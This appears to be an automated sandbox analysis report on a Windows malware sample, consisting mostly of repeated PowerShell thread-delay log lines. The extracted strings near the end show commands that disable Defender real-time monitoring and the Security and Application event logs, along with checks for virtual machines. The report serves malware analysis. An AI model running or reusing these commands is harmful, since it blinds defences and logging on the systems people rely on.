    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7680Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1811Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1624Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1508Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7967Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1652Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8168Thread sleep count: 7680 > 30Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7556Thread sleep time: -5534023222112862s >= -30000sJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8168Thread sleep count: 1811 > 30Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8136Thread sleep count: 1624 > 30Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8104Thread sleep count: 46 > 30Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7468Thread sleep time: -922337203685477s >= -30000sJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8132Thread sleep count: 1508 > 30Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8156Thread sleep count: 182 > 30Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7424Thread sleep time: -922337203685477s >= -30000sJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8164Thread sleep count: 7967 > 30Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8176Thread sleep count: 1652 > 30Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7560Thread sleep time: -5534023222112862s >= -30000sJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\GatherLogs\Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\Config\Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\Jump to behavior
    Source: rZU3xTxOnl.exeBinary or memory string: *Set-MpPreference -DisableRealtimeMonitoring $truewevtutil sl Security /e:falsewevtutil sl Application /e:falsevboxserviceqemuhypervvmwaretasklist/fiIMAGENAME eq \e8@
    Source: rZU3xTxOnl.exe, 00000000.00000003.1566788366.000001E547C19000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: elwKk1x5+9NJD0oC1Sm0PchOiV+3spsDahFOwVMcIA7E=/
    Source: tasklist.exe, 00000005.00000003.1418338245.00000263767D1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VMWARE'
    Source: tasklist.exe, 00000005.00000003.1418140185.00000263767BE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: WMI.ExecQuery(SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VMWARE');
    Source: tasklist.exe, 00000005.00000002.1419116432.00000263767BE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: IMAGENAME eq vmware
    Source: rZU3xTxOnl.exe, 00000000.00000000.1413326488.00007FF7B16DB000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: *Set-MpPreference -DisableRealtimeMonitoring $truewevtutil sl Security /e:falsewevtutil sl Application /e:falsevboxserviceqemuhypervvmwaretasklist/fiIMAGENAME eq \en
    Source: tasklist.exe, 00000005.00000002.1419116432.00000263767BE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VMWARE'0t
    Source: tasklist.exe, 00000005.00000002.1419204462.00000263769D5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'VMWARE'Eq
    Source: rZU3xTxOnl.exe, 00000000.00000003.1566788366.000001E547C19000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: eeKcxqaYUpQemuF/g4XeY+/GN/5r9nu6fcwnr/bvuY4c=/
    Source: rZU3xTxOnl.exeBinary or memory string: Set-MpPreference -DisableRealtimeMonitoring $truewevtutil sl Security /e:falsewevtutil sl Application /e:falsevboxserviceqemuhypervvmwaretasklist/fiIMAGENAME eq
    Source: rZU3xTxOnl.exe, 00000000.00000003.1566788366.000001E547C19000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: enHfHDfN6bsbeT8o/5kyYSl66SsuWvyQeMuXDlHbQfqo=/
